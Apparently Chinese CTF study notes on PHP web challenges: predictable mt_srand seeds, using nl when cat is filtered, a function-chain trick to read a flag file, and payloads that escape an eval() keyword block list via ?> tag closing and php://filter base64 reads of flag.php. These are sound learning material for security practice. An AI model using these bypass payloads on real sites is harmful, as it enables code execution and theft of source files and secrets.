伪随机

mt_srand这个函数是伪随机,给了随机种子,生成随机数都是固定的
另外,随机种子会因为php版本不同而不同,种子计算可以用工具php_mt_scrand

nl查询

其实这里想说的是任意执行这个大类,在一些题目中可能会有奇怪的过滤,执行查询时如果cat不行可以试试nl,另外记得看一看网页源代码

一种很特殊的函数绕过法

show_source(next(array_reverse(scandir(pos(localeconv())))));

不要被这一长串吓到了,如果flag文件说带有.且已经被过滤的,就可以用这方法
首先localeconv第一个元素是.pos只返回第一个元素,scandir扫描当前目录并存入数组,array_reverse以相反的元素顺序返回数组,next输出当前元素的下一个元素值,最后再用show_source高亮输出

是不是很神奇?

一种也很特殊的叠加方法

仔细观察下面这段php

$c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

再仔细观察下面这个段get请求参数

?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

学会了吗?

Get请求变量

经常看到以一个单词作为接受请求的变量,如下

$_GET["url"]

但其实把“url”换成1是可以的,这样就能达到绕过双引号过滤的目的。
同理,单个字母也是可以的

两段php代码

如果碰到了一个eval函数,那么首当其冲可以先写一个?>对前面的php进行闭合,这样再怎么过滤也不会过滤到后面的代码上了
不过需要注意的是,就算后面代码运行时不会过滤,但不代表代码输入进去时不会被过滤一遍,举个例子

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

这段代码的1变量内容不会被过滤,但c仍然会